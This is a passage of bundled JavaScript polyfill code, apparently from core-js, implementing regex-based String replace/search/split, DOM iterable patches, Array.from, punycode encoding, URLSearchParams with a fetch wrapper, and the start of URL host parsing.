var matchStr = String(result[0]);
if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode);
}
var accumulatedResult = '';
var nextSourcePosition = 0;
for (var i = 0; i < results.length; i++) {
result = results[i];
var matched = String(result[0]);
var position = max$2(min$2(toInteger(result.index), S.length), 0);
var captures = [];
// NOTE: This is equivalent to
// captures = result.slice(1).map(maybeToString)
// but for some reason `nativeSlice.call(result, 1, result.length)` (called in
// the slice polyfill when slicing native arrays) "doesn't work" in safari 9 and
// causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it.
for (var j = 1; j < result.length; j++) captures.push(maybeToString(result[j]));
var namedCaptures = result.groups;
if (functionalReplace) {
var replacerArgs = [matched].concat(captures, position, S);
if (namedCaptures !== undefined) replacerArgs.push(namedCaptures);
var replacement = String(replaceValue.apply(undefined, replacerArgs));
} else {
replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue);
}
if (position >= nextSourcePosition) {
accumulatedResult += S.slice(nextSourcePosition, position) + replacement;
nextSourcePosition = position + matched.length;
}
}
return accumulatedResult + S.slice(nextSourcePosition);
}
];
// https://tc39.github.io/ecma262/#sec-getsubstitution
function getSubstitution(matched, str, position, captures, namedCaptures, replacement) {
var tailPos = position + matched.length;
var m = captures.length;
var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED;
if (namedCaptures !== undefined) {
namedCaptures = toObject(namedCaptures);
symbols = SUBSTITUTION_SYMBOLS;
}
return nativeReplace.call(replacement, symbols, function (match, ch) {
var capture;
switch (ch.charAt(0)) {
case '$': return '$';
case '&': return matched;
case '`': return str.slice(0, position);
case "'": return str.slice(tailPos);
case '<':
capture = namedCaptures[ch.slice(1, -1)];
break;
default: // \d\d?
var n = +ch;
if (n === 0) return match;
if (n > m) {
var f = floor$1(n / 10);
if (f === 0) return match;
if (f <= m) return captures[f - 1] === undefined ? ch.charAt(1) : captures[f - 1] + ch.charAt(1);
return match;
}
capture = captures[n - 1];
}
return capture === undefined ? '' : capture;
});
}
});
// `SameValue` abstract operation
// https://tc39.github.io/ecma262/#sec-samevalue
var sameValue = Object.is || function is(x, y) {
// eslint-disable-next-line no-self-compare
return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y;
};
// @@search logic
fixRegexpWellKnownSymbolLogic('search', 1, function (SEARCH, nativeSearch, maybeCallNative) {
return [
// `String.prototype.search` method
// https://tc39.github.io/ecma262/#sec-string.prototype.search
function search(regexp) {
var O = requireObjectCoercible(this);
var searcher = regexp == undefined ? undefined : regexp[SEARCH];
return searcher !== undefined ? searcher.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O));
},
// `RegExp.prototype[@@search]` method
// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@search
function (regexp) {
var res = maybeCallNative(nativeSearch, regexp, this);
if (res.done) return res.value;
var rx = anObject(regexp);
var S = String(this);
var previousLastIndex = rx.lastIndex;
if (!sameValue(previousLastIndex, 0)) rx.lastIndex = 0;
var result = regexpExecAbstract(rx, S);
if (!sameValue(rx.lastIndex, previousLastIndex)) rx.lastIndex = previousLastIndex;
return result === null ? -1 : result.index;
}
];
});
var MATCH = wellKnownSymbol('match');
// `IsRegExp` abstract operation
// https://tc39.github.io/ecma262/#sec-isregexp
var isRegexp = function (it) {
var isRegExp;
return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : classofRaw(it) == 'RegExp');
};
var SPECIES$4 = wellKnownSymbol('species');
// `SpeciesConstructor` abstract operation
// https://tc39.github.io/ecma262/#sec-speciesconstructor
var speciesConstructor = function (O, defaultConstructor) {
var C = anObject(O).constructor;
var S;
return C === undefined || (S = anObject(C)[SPECIES$4]) == undefined ? defaultConstructor : aFunction$1(S);
};
var arrayPush = [].push;
var min$3 = Math.min;
var MAX_UINT32 = 0xFFFFFFFF;
// babel-minify transpiles RegExp('x', 'y') -> /x/y and it causes SyntaxError
var SUPPORTS_Y = !fails(function () { return !RegExp(MAX_UINT32, 'y'); });
// @@split logic
fixRegexpWellKnownSymbolLogic('split', 2, function (SPLIT, nativeSplit, maybeCallNative) {
var internalSplit;
if (
'abbc'.split(/(b)*/)[1] == 'c' ||
'test'.split(/(?:)/, -1).length != 4 ||
'ab'.split(/(?:ab)*/).length != 2 ||
'.'.split(/(.?)(.?)/).length != 4 ||
'.'.split(/()()/).length > 1 ||
''.split(/.?/).length
) {
// based on es5-shim implementation, need to rework it
internalSplit = function (separator, limit) {
var string = String(requireObjectCoercible(this));
var lim = limit === undefined ? MAX_UINT32 : limit >>> 0;
if (lim === 0) return [];
if (separator === undefined) return [string];
// If `separator` is not a regex, use native split
if (!isRegexp(separator)) {
return nativeSplit.call(string, separator, lim);
}
var output = [];
var flags = (separator.ignoreCase ? 'i' : '') +
(separator.multiline ? 'm' : '') +
(separator.unicode ? 'u' : '') +
(separator.sticky ? 'y' : '');
var lastLastIndex = 0;
// Make `global` and avoid `lastIndex` issues by working with a copy
var separatorCopy = new RegExp(separator.source, flags + 'g');
var match, lastIndex, lastLength;
while (match = regexpExec.call(separatorCopy, string)) {
lastIndex = separatorCopy.lastIndex;
if (lastIndex > lastLastIndex) {
output.push(string.slice(lastLastIndex, match.index));
if (match.length > 1 && match.index < string.length) arrayPush.apply(output, match.slice(1));
lastLength = match[0].length;
lastLastIndex = lastIndex;
if (output.length >= lim) break;
}
if (separatorCopy.lastIndex === match.index) separatorCopy.lastIndex++; // Avoid an infinite loop
}
if (lastLastIndex === string.length) {
if (lastLength || !separatorCopy.test('')) output.push('');
} else output.push(string.slice(lastLastIndex));
return output.length > lim ? output.slice(0, lim) : output;
};
// Chakra, V8
} else if ('0'.split(undefined, 0).length) {
internalSplit = function (separator, limit) {
return separator === undefined && limit === 0 ? [] : nativeSplit.call(this, separator, limit);
};
} else internalSplit = nativeSplit;
return [
// `String.prototype.split` method
// https://tc39.github.io/ecma262/#sec-string.prototype.split
function split(separator, limit) {
var O = requireObjectCoercible(this);
var splitter = separator == undefined ? undefined : separator[SPLIT];
return splitter !== undefined
? splitter.call(separator, O, limit)
: internalSplit.call(String(O), separator, limit);
},
// `RegExp.prototype[@@split]` method
// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split
//
// NOTE: This cannot be properly polyfilled in engines that don't support
// the 'y' flag.
function (regexp, limit) {
var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== nativeSplit);
if (res.done) return res.value;
var rx = anObject(regexp);
var S = String(this);
var C = speciesConstructor(rx, RegExp);
var unicodeMatching = rx.unicode;
var flags = (rx.ignoreCase ? 'i' : '') +
(rx.multiline ? 'm' : '') +
(rx.unicode ? 'u' : '') +
(SUPPORTS_Y ? 'y' : 'g');
// ^(? + rx + ) is needed, in combination with some S slicing, to
// simulate the 'y' flag.
var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags);
var lim = limit === undefined ? MAX_UINT32 : limit >>> 0;
if (lim === 0) return [];
if (S.length === 0) return regexpExecAbstract(splitter, S) === null ? [S] : [];
var p = 0;
var q = 0;
var A = [];
while (q < S.length) {
splitter.lastIndex = SUPPORTS_Y ? q : 0;
var z = regexpExecAbstract(splitter, SUPPORTS_Y ? S : S.slice(q));
var e;
if (
z === null ||
(e = min$3(toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p
) {
q = advanceStringIndex(S, q, unicodeMatching);
} else {
A.push(S.slice(p, q));
if (A.length === lim) return A;
for (var i = 1; i <= z.length - 1; i++) {
A.push(z[i]);
if (A.length === lim) return A;
}
q = p = e;
}
}
A.push(S.slice(p));
return A;
}
];
}, !SUPPORTS_Y);
// iterable DOM collections
// flag - `iterable` interface - 'entries', 'keys', 'values', 'forEach' methods
var domIterables = {
CSSRuleList: 0,
CSSStyleDeclaration: 0,
CSSValueList: 0,
ClientRectList: 0,
DOMRectList: 0,
DOMStringList: 0,
DOMTokenList: 1,
DataTransferItemList: 0,
FileList: 0,
HTMLAllCollection: 0,
HTMLCollection: 0,
HTMLFormElement: 0,
HTMLSelectElement: 0,
MediaList: 0,
MimeTypeArray: 0,
NamedNodeMap: 0,
NodeList: 1,
PaintRequestList: 0,
Plugin: 0,
PluginArray: 0,
SVGLengthList: 0,
SVGNumberList: 0,
SVGPathSegList: 0,
SVGPointList: 0,
SVGStringList: 0,
SVGTransformList: 0,
SourceBufferList: 0,
StyleSheetList: 0,
TextTrackCueList: 0,
TextTrackList: 0,
TouchList: 0
};
for (var COLLECTION_NAME in domIterables) {
var Collection = global_1[COLLECTION_NAME];
var CollectionPrototype = Collection && Collection.prototype;
// some Chrome versions have non-configurable methods on DOMTokenList
if (CollectionPrototype && CollectionPrototype.forEach !== arrayForEach) try {
createNonEnumerableProperty(CollectionPrototype, 'forEach', arrayForEach);
} catch (error) {
CollectionPrototype.forEach = arrayForEach;
}
}
var ITERATOR$2 = wellKnownSymbol('iterator');
var TO_STRING_TAG$3 = wellKnownSymbol('toStringTag');
var ArrayValues = es_array_iterator.values;
for (var COLLECTION_NAME$1 in domIterables) {
var Collection$1 = global_1[COLLECTION_NAME$1];
var CollectionPrototype$1 = Collection$1 && Collection$1.prototype;
if (CollectionPrototype$1) {
// some Chrome versions have non-configurable methods on DOMTokenList
if (CollectionPrototype$1[ITERATOR$2] !== ArrayValues) try {
createNonEnumerableProperty(CollectionPrototype$1, ITERATOR$2, ArrayValues);
} catch (error) {
CollectionPrototype$1[ITERATOR$2] = ArrayValues;
}
if (!CollectionPrototype$1[TO_STRING_TAG$3]) {
createNonEnumerableProperty(CollectionPrototype$1, TO_STRING_TAG$3, COLLECTION_NAME$1);
}
if (domIterables[COLLECTION_NAME$1]) for (var METHOD_NAME in es_array_iterator) {
// some Chrome versions have non-configurable methods on DOMTokenList
if (CollectionPrototype$1[METHOD_NAME] !== es_array_iterator[METHOD_NAME]) try {
createNonEnumerableProperty(CollectionPrototype$1, METHOD_NAME, es_array_iterator[METHOD_NAME]);
} catch (error) {
CollectionPrototype$1[METHOD_NAME] = es_array_iterator[METHOD_NAME];
}
}
}
}
var ITERATOR$3 = wellKnownSymbol('iterator');
var nativeUrl = !fails(function () {
var url = new URL('b?a=1&b=2&c=3', 'http://a');
var searchParams = url.searchParams;
var result = '';
url.pathname = 'c%20d';
searchParams.forEach(function (value, key) {
searchParams['delete']('b');
result += key + value;
});
return (isPure && !url.toJSON)
|| !searchParams.sort
|| url.href !== 'http://a/c%20d?a=1&c=3'
|| searchParams.get('c') !== '3'
|| String(new URLSearchParams('?a=1')) !== 'a=1'
|| !searchParams[ITERATOR$3]
// throws in Edge
|| new URL('https://a@b').username !== 'a'
|| new URLSearchParams(new URLSearchParams('a=b')).get('a') !== 'b'
// not punycoded in Edge
|| new URL('http://тест').host !== 'xn--e1aybc'
// not escaped in Chrome 62-
|| new URL('http://a#б').hash !== '#%D0%B1'
// fails in Chrome 66-
|| result !== 'a1c3'
// throws in Safari
|| new URL('http://x', undefined).host !== 'x';
});
var anInstance = function (it, Constructor, name) {
if (!(it instanceof Constructor)) {
throw TypeError('Incorrect ' + (name ? name + ' ' : '') + 'invocation');
} return it;
};
var nativeAssign = Object.assign;
var defineProperty$4 = Object.defineProperty;
// `Object.assign` method
// https://tc39.github.io/ecma262/#sec-object.assign
var objectAssign = !nativeAssign || fails(function () {
// should have correct order of operations (Edge bug)
if (descriptors && nativeAssign({ b: 1 }, nativeAssign(defineProperty$4({}, 'a', {
enumerable: true,
get: function () {
defineProperty$4(this, 'b', {
value: 3,
enumerable: false
});
}
}), { b: 2 })).b !== 1) return true;
// should work with symbols and should have deterministic property order (V8 bug)
var A = {};
var B = {};
// eslint-disable-next-line no-undef
var symbol = Symbol();
var alphabet = 'abcdefghijklmnopqrst';
A[symbol] = 7;
alphabet.split('').forEach(function (chr) { B[chr] = chr; });
return nativeAssign({}, A)[symbol] != 7 || objectKeys(nativeAssign({}, B)).join('') != alphabet;
}) ? function assign(target, source) { // eslint-disable-line no-unused-vars
var T = toObject(target);
var argumentsLength = arguments.length;
var index = 1;
var getOwnPropertySymbols = objectGetOwnPropertySymbols.f;
var propertyIsEnumerable = objectPropertyIsEnumerable.f;
while (argumentsLength > index) {
var S = indexedObject(arguments[index++]);
var keys = getOwnPropertySymbols ? objectKeys(S).concat(getOwnPropertySymbols(S)) : objectKeys(S);
var length = keys.length;
var j = 0;
var key;
while (length > j) {
key = keys[j++];
if (!descriptors || propertyIsEnumerable.call(S, key)) T[key] = S[key];
}
} return T;
} : nativeAssign;
var iteratorClose = function (iterator) {
var returnMethod = iterator['return'];
if (returnMethod !== undefined) {
return anObject(returnMethod.call(iterator)).value;
}
};
// call something on iterator step with safe closing on error
var callWithSafeIterationClosing = function (iterator, fn, value, ENTRIES) {
try {
return ENTRIES ? fn(anObject(value)[0], value[1]) : fn(value);
// 7.4.6 IteratorClose(iterator, completion)
} catch (error) {
iteratorClose(iterator);
throw error;
}
};
var ITERATOR$4 = wellKnownSymbol('iterator');
var ArrayPrototype$1 = Array.prototype;
// check on default Array iterator
var isArrayIteratorMethod = function (it) {
return it !== undefined && (iterators.Array === it || ArrayPrototype$1[ITERATOR$4] === it);
};
var ITERATOR$5 = wellKnownSymbol('iterator');
var getIteratorMethod = function (it) {
if (it != undefined) return it[ITERATOR$5]
|| it['@@iterator']
|| iterators[classof(it)];
};
// `Array.from` method implementation
// https://tc39.github.io/ecma262/#sec-array.from
var arrayFrom = function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) {
var O = toObject(arrayLike);
var C = typeof this == 'function' ? this : Array;
var argumentsLength = arguments.length;
var mapfn = argumentsLength > 1 ? arguments[1] : undefined;
var mapping = mapfn !== undefined;
var iteratorMethod = getIteratorMethod(O);
var index = 0;
var length, result, step, iterator, next, value;
if (mapping) mapfn = functionBindContext(mapfn, argumentsLength > 2 ? arguments[2] : undefined, 2);
// if the target is not iterable or it's an array with the default iterator - use a simple case
if (iteratorMethod != undefined && !(C == Array && isArrayIteratorMethod(iteratorMethod))) {
iterator = iteratorMethod.call(O);
next = iterator.next;
result = new C();
for (;!(step = next.call(iterator)).done; index++) {
value = mapping ? callWithSafeIterationClosing(iterator, mapfn, [step.value, index], true) : step.value;
createProperty(result, index, value);
}
} else {
length = toLength(O.length);
result = new C(length);
for (;length > index; index++) {
value = mapping ? mapfn(O[index], index) : O[index];
createProperty(result, index, value);
}
}
result.length = index;
return result;
};
// based on https://github.com/bestiejs/punycode.js/blob/master/punycode.js
var maxInt = 2147483647; // aka. 0x7FFFFFFF or 2^31-1
var base = 36;
var tMin = 1;
var tMax = 26;
var skew = 38;
var damp = 700;
var initialBias = 72;
var initialN = 128; // 0x80
var delimiter = '-'; // '\x2D'
var regexNonASCII = /[^\0-\u007E]/; // non-ASCII chars
var regexSeparators = /[.\u3002\uFF0E\uFF61]/g; // RFC 3490 separators
var OVERFLOW_ERROR = 'Overflow: input needs wider integers to process';
var baseMinusTMin = base - tMin;
var floor$2 = Math.floor;
var stringFromCharCode = String.fromCharCode;
/**
* Creates an array containing the numeric code points of each Unicode
* character in the string. While JavaScript uses UCS-2 internally,
* this function will convert a pair of surrogate halves (each of which
* UCS-2 exposes as separate characters) into a single code point,
* matching UTF-16.
*/
var ucs2decode = function (string) {
var output = [];
var counter = 0;
var length = string.length;
while (counter < length) {
var value = string.charCodeAt(counter++);
if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
// It's a high surrogate, and there is a next character.
var extra = string.charCodeAt(counter++);
if ((extra & 0xFC00) == 0xDC00) { // Low surrogate.
output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
} else {
// It's an unmatched surrogate; only append this code unit, in case the
// next code unit is the high surrogate of a surrogate pair.
output.push(value);
counter--;
}
} else {
output.push(value);
}
}
return output;
};
/**
* Converts a digit/integer into a basic code point.
*/
var digitToBasic = function (digit) {
// 0..25 map to ASCII a..z or A..Z
// 26..35 map to ASCII 0..9
return digit + 22 + 75 * (digit < 26);
};
/**
* Bias adaptation function as per section 3.4 of RFC 3492.
* https://tools.ietf.org/html/rfc3492#section-3.4
*/
var adapt = function (delta, numPoints, firstTime) {
var k = 0;
delta = firstTime ? floor$2(delta / damp) : delta >> 1;
delta += floor$2(delta / numPoints);
for (; delta > baseMinusTMin * tMax >> 1; k += base) {
delta = floor$2(delta / baseMinusTMin);
}
return floor$2(k + (baseMinusTMin + 1) * delta / (delta + skew));
};
/**
* Converts a string of Unicode symbols (e.g. a domain name label) to a
* Punycode string of ASCII-only symbols.
*/
// eslint-disable-next-line max-statements
var encode = function (input) {
var output = [];
// Convert the input in UCS-2 to an array of Unicode code points.
input = ucs2decode(input);
// Cache the length.
var inputLength = input.length;
// Initialize the state.
var n = initialN;
var delta = 0;
var bias = initialBias;
var i, currentValue;
// Handle the basic code points.
for (i = 0; i < input.length; i++) {
currentValue = input[i];
if (currentValue < 0x80) {
output.push(stringFromCharCode(currentValue));
}
}
var basicLength = output.length; // number of basic code points.
var handledCPCount = basicLength; // number of code points that have been handled;
// Finish the basic string with a delimiter unless it's empty.
if (basicLength) {
output.push(delimiter);
}
// Main encoding loop:
while (handledCPCount < inputLength) {
// All non-basic code points < n have been handled already. Find the next larger one:
var m = maxInt;
for (i = 0; i < input.length; i++) {
currentValue = input[i];
if (currentValue >= n && currentValue < m) {
m = currentValue;
}
}
// Increase `delta` enough to advance the decoder's <n,i> state to <m,0>, but guard against overflow.
var handledCPCountPlusOne = handledCPCount + 1;
if (m - n > floor$2((maxInt - delta) / handledCPCountPlusOne)) {
throw RangeError(OVERFLOW_ERROR);
}
delta += (m - n) * handledCPCountPlusOne;
n = m;
for (i = 0; i < input.length; i++) {
currentValue = input[i];
if (currentValue < n && ++delta > maxInt) {
throw RangeError(OVERFLOW_ERROR);
}
if (currentValue == n) {
// Represent delta as a generalized variable-length integer.
var q = delta;
for (var k = base; /* no condition */; k += base) {
var t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
if (q < t) break;
var qMinusT = q - t;
var baseMinusT = base - t;
output.push(stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT)));
q = floor$2(qMinusT / baseMinusT);
}
output.push(stringFromCharCode(digitToBasic(q)));
bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
delta = 0;
++handledCPCount;
}
}
++delta;
++n;
}
return output.join('');
};
var stringPunycodeToAscii = function (input) {
var encoded = [];
var labels = input.toLowerCase().replace(regexSeparators, '\u002E').split('.');
var i, label;
for (i = 0; i < labels.length; i++) {
label = labels[i];
encoded.push(regexNonASCII.test(label) ? 'xn--' + encode(label) : label);
}
return encoded.join('.');
};
var redefineAll = function (target, src, options) {
for (var key in src) redefine(target, key, src[key], options);
return target;
};
var getIterator = function (it) {
var iteratorMethod = getIteratorMethod(it);
if (typeof iteratorMethod != 'function') {
throw TypeError(String(it) + ' is not iterable');
} return anObject(iteratorMethod.call(it));
};
// TODO: in core-js@4, move /modules/ dependencies to public entries for better optimization by tools like `preset-env`
var $fetch = getBuiltIn('fetch');
var Headers = getBuiltIn('Headers');
var ITERATOR$6 = wellKnownSymbol('iterator');
var URL_SEARCH_PARAMS = 'URLSearchParams';
var URL_SEARCH_PARAMS_ITERATOR = URL_SEARCH_PARAMS + 'Iterator';
var setInternalState$3 = internalState.set;
var getInternalParamsState = internalState.getterFor(URL_SEARCH_PARAMS);
var getInternalIteratorState = internalState.getterFor(URL_SEARCH_PARAMS_ITERATOR);
var plus = /\+/g;
var sequences = Array(4);
var percentSequence = function (bytes) {
return sequences[bytes - 1] || (sequences[bytes - 1] = RegExp('((?:%[\\da-f]{2}){' + bytes + '})', 'gi'));
};
var percentDecode = function (sequence) {
try {
return decodeURIComponent(sequence);
} catch (error) {
return sequence;
}
};
var deserialize = function (it) {
var result = it.replace(plus, ' ');
var bytes = 4;
try {
return decodeURIComponent(result);
} catch (error) {
while (bytes) {
result = result.replace(percentSequence(bytes--), percentDecode);
}
return result;
}
};
var find = /[!'()~]|%20/g;
var replace = {
'!': '%21',
"'": '%27',
'(': '%28',
')': '%29',
'~': '%7E',
'%20': '+'
};
var replacer = function (match) {
return replace[match];
};
var serialize = function (it) {
return encodeURIComponent(it).replace(find, replacer);
};
var parseSearchParams = function (result, query) {
if (query) {
var attributes = query.split('&');
var index = 0;
var attribute, entry;
while (index < attributes.length) {
attribute = attributes[index++];
if (attribute.length) {
entry = attribute.split('=');
result.push({
key: deserialize(entry.shift()),
value: deserialize(entry.join('='))
});
}
}
}
};
var updateSearchParams = function (query) {
this.entries.length = 0;
parseSearchParams(this.entries, query);
};
var validateArgumentsLength = function (passed, required) {
if (passed < required) throw TypeError('Not enough arguments');
};
var URLSearchParamsIterator = createIteratorConstructor(function Iterator(params, kind) {
setInternalState$3(this, {
type: URL_SEARCH_PARAMS_ITERATOR,
iterator: getIterator(getInternalParamsState(params).entries),
kind: kind
});
}, 'Iterator', function next() {
var state = getInternalIteratorState(this);
var kind = state.kind;
var step = state.iterator.next();
var entry = step.value;
if (!step.done) {
step.value = kind === 'keys' ? entry.key : kind === 'values' ? entry.value : [entry.key, entry.value];
} return step;
});
// `URLSearchParams` constructor
// https://url.spec.whatwg.org/#interface-urlsearchparams
var URLSearchParamsConstructor = function URLSearchParams(/* init */) {
anInstance(this, URLSearchParamsConstructor, URL_SEARCH_PARAMS);
var init = arguments.length > 0 ? arguments[0] : undefined;
var that = this;
var entries = [];
var iteratorMethod, iterator, next, step, entryIterator, entryNext, first, second, key;
setInternalState$3(that, {
type: URL_SEARCH_PARAMS,
entries: entries,
updateURL: function () { /* empty */ },
updateSearchParams: updateSearchParams
});
if (init !== undefined) {
if (isObject(init)) {
iteratorMethod = getIteratorMethod(init);
if (typeof iteratorMethod === 'function') {
iterator = iteratorMethod.call(init);
next = iterator.next;
while (!(step = next.call(iterator)).done) {
entryIterator = getIterator(anObject(step.value));
entryNext = entryIterator.next;
if (
(first = entryNext.call(entryIterator)).done ||
(second = entryNext.call(entryIterator)).done ||
!entryNext.call(entryIterator).done
) throw TypeError('Expected sequence with length 2');
entries.push({ key: first.value + '', value: second.value + '' });
}
} else for (key in init) if (has(init, key)) entries.push({ key: key, value: init[key] + '' });
} else {
parseSearchParams(entries, typeof init === 'string' ? init.charAt(0) === '?' ? init.slice(1) : init : init + '');
}
}
};
var URLSearchParamsPrototype = URLSearchParamsConstructor.prototype;
redefineAll(URLSearchParamsPrototype, {
// `URLSearchParams.prototype.append` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-append
append: function append(name, value) {
validateArgumentsLength(arguments.length, 2);
var state = getInternalParamsState(this);
state.entries.push({ key: name + '', value: value + '' });
state.updateURL();
},
// `URLSearchParams.prototype.delete` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-delete
'delete': function (name) {
validateArgumentsLength(arguments.length, 1);
var state = getInternalParamsState(this);
var entries = state.entries;
var key = name + '';
var index = 0;
while (index < entries.length) {
if (entries[index].key === key) entries.splice(index, 1);
else index++;
}
state.updateURL();
},
// `URLSearchParams.prototype.get` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-get
get: function get(name) {
validateArgumentsLength(arguments.length, 1);
var entries = getInternalParamsState(this).entries;
var key = name + '';
var index = 0;
for (; index < entries.length; index++) {
if (entries[index].key === key) return entries[index].value;
}
return null;
},
// `URLSearchParams.prototype.getAll` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-getall
getAll: function getAll(name) {
validateArgumentsLength(arguments.length, 1);
var entries = getInternalParamsState(this).entries;
var key = name + '';
var result = [];
var index = 0;
for (; index < entries.length; index++) {
if (entries[index].key === key) result.push(entries[index].value);
}
return result;
},
// `URLSearchParams.prototype.has` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-has
has: function has(name) {
validateArgumentsLength(arguments.length, 1);
var entries = getInternalParamsState(this).entries;
var key = name + '';
var index = 0;
while (index < entries.length) {
if (entries[index++].key === key) return true;
}
return false;
},
// `URLSearchParams.prototype.set` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-set
set: function set(name, value) {
validateArgumentsLength(arguments.length, 1);
var state = getInternalParamsState(this);
var entries = state.entries;
var found = false;
var key = name + '';
var val = value + '';
var index = 0;
var entry;
for (; index < entries.length; index++) {
entry = entries[index];
if (entry.key === key) {
if (found) entries.splice(index--, 1);
else {
found = true;
entry.value = val;
}
}
}
if (!found) entries.push({ key: key, value: val });
state.updateURL();
},
// `URLSearchParams.prototype.sort` method
// https://url.spec.whatwg.org/#dom-urlsearchparams-sort
sort: function sort() {
var state = getInternalParamsState(this);
var entries = state.entries;
// Array#sort is not stable in some engines
var slice = entries.slice();
var entry, entriesIndex, sliceIndex;
entries.length = 0;
for (sliceIndex = 0; sliceIndex < slice.length; sliceIndex++) {
entry = slice[sliceIndex];
for (entriesIndex = 0; entriesIndex < sliceIndex; entriesIndex++) {
if (entries[entriesIndex].key > entry.key) {
entries.splice(entriesIndex, 0, entry);
break;
}
}
if (entriesIndex === sliceIndex) entries.push(entry);
}
state.updateURL();
},
// `URLSearchParams.prototype.forEach` method
forEach: function forEach(callback /* , thisArg */) {
var entries = getInternalParamsState(this).entries;
var boundFunction = functionBindContext(callback, arguments.length > 1 ? arguments[1] : undefined, 3);
var index = 0;
var entry;
while (index < entries.length) {
entry = entries[index++];
boundFunction(entry.value, entry.key, this);
}
},
// `URLSearchParams.prototype.keys` method
keys: function keys() {
return new URLSearchParamsIterator(this, 'keys');
},
// `URLSearchParams.prototype.values` method
values: function values() {
return new URLSearchParamsIterator(this, 'values');
},
// `URLSearchParams.prototype.entries` method
entries: function entries() {
return new URLSearchParamsIterator(this, 'entries');
}
}, { enumerable: true });
// `URLSearchParams.prototype[@@iterator]` method
redefine(URLSearchParamsPrototype, ITERATOR$6, URLSearchParamsPrototype.entries);
// `URLSearchParams.prototype.toString` method
// https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
redefine(URLSearchParamsPrototype, 'toString', function toString() {
var entries = getInternalParamsState(this).entries;
var result = [];
var index = 0;
var entry;
while (index < entries.length) {
entry = entries[index++];
result.push(serialize(entry.key) + '=' + serialize(entry.value));
} return result.join('&');
}, { enumerable: true });
setToStringTag(URLSearchParamsConstructor, URL_SEARCH_PARAMS);
_export({ global: true, forced: !nativeUrl }, {
URLSearchParams: URLSearchParamsConstructor
});
// Wrap `fetch` for correct work with polyfilled `URLSearchParams`
// https://github.com/zloirock/core-js/issues/674
if (!nativeUrl && typeof $fetch == 'function' && typeof Headers == 'function') {
_export({ global: true, enumerable: true, forced: true }, {
fetch: function fetch(input /* , init */) {
var args = [input];
var init, body, headers;
if (arguments.length > 1) {
init = arguments[1];
if (isObject(init)) {
body = init.body;
if (classof(body) === URL_SEARCH_PARAMS) {
headers = init.headers ? new Headers(init.headers) : new Headers();
if (!headers.has('content-type')) {
headers.set('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
}
init = objectCreate(init, {
body: createPropertyDescriptor(0, String(body)),
headers: createPropertyDescriptor(0, headers)
});
}
}
args.push(init);
} return $fetch.apply(this, args);
}
});
}
var web_urlSearchParams = {
URLSearchParams: URLSearchParamsConstructor,
getState: getInternalParamsState
};
// TODO: in core-js@4, move /modules/ dependencies to public entries for better optimization by tools like `preset-env`
var codeAt = stringMultibyte.codeAt;
var NativeURL = global_1.URL;
var URLSearchParams$1 = web_urlSearchParams.URLSearchParams;
var getInternalSearchParamsState = web_urlSearchParams.getState;
var setInternalState$4 = internalState.set;
var getInternalURLState = internalState.getterFor('URL');
var floor$3 = Math.floor;
var pow = Math.pow;
var INVALID_AUTHORITY = 'Invalid authority';
var INVALID_SCHEME = 'Invalid scheme';
var INVALID_HOST = 'Invalid host';
var INVALID_PORT = 'Invalid port';
var ALPHA = /[A-Za-z]/;
var ALPHANUMERIC = /[\d+-.A-Za-z]/;
var DIGIT = /\d/;
var HEX_START = /^(0x|0X)/;
var OCT = /^[0-7]+$/;
var DEC = /^\d+$/;
var HEX = /^[\dA-Fa-f]+$/;
// eslint-disable-next-line no-control-regex
var FORBIDDEN_HOST_CODE_POINT = /[\u0000\u0009\u000A\u000D #%/:?@[\\]]/;
// eslint-disable-next-line no-control-regex
var FORBIDDEN_HOST_CODE_POINT_EXCLUDING_PERCENT = /[\u0000\u0009\u000A\u000D #/:?@[\\]]/;
// eslint-disable-next-line no-control-regex
var LEADING_AND_TRAILING_C0_CONTROL_OR_SPACE = /^[\u0000-\u001F ]+|[\u0000-\u001F ]+$/g;
// eslint-disable-next-line no-control-regex
var TAB_AND_NEW_LINE = /[\u0009\u000A\u000D]/g;
var EOF;
var parseHost = function (url, input) {
var result, codePoints, index;
if (input.charAt(0) == '[') {
if (input.charAt(input.length - 1) != ']') return INVALID_HOST;
result = parseIPv6(input.slice(1, -1));
if (!result) return INVALID_HOST;
url.host = result;
// opaque host
} else if (!isSpecial(url)) {
if (FORBIDDEN_HOST_CODE_POINT_EXCLUDING_PERCENT.test(input)) return INVALID_HOST;
result = '';
codePoints = arrayFrom(input);
for (index = 0; index < codePoints.length; index++) {
result += percentEncode(codePoints[index], C0ControlPercentEncodeSet);
}
url.host = result;
} else {
input = stringPunycodeToAscii(input);
if (FORBIDDEN_HOST_CODE_POINT.test(input)) return INVALID_HOST;
result = parseIPv4(input);
if (result === null) return INVALID_HOST;
url.host = result;
}
};
var parseIPv4 = function (input) {
var parts = input.split('.');
var partsLength, numbers, index, part, radix, number, ipv4;
if (parts.length && parts[parts.length - 1] == '') {
parts.pop();
}
partsLength = parts.length;
if (partsLength > 4) return input;
numbers = [];
for (index = 0; index < partsLength; index++) {
part = parts[index];
if (part == '') return input;
radix = 10;
if (part.length > 1 && part.charAt(0) == '0') {
radix = HEX_START.test(part) ? 16 : 8;
part = part.slice(radix == 8 ? 1 : 2);
}
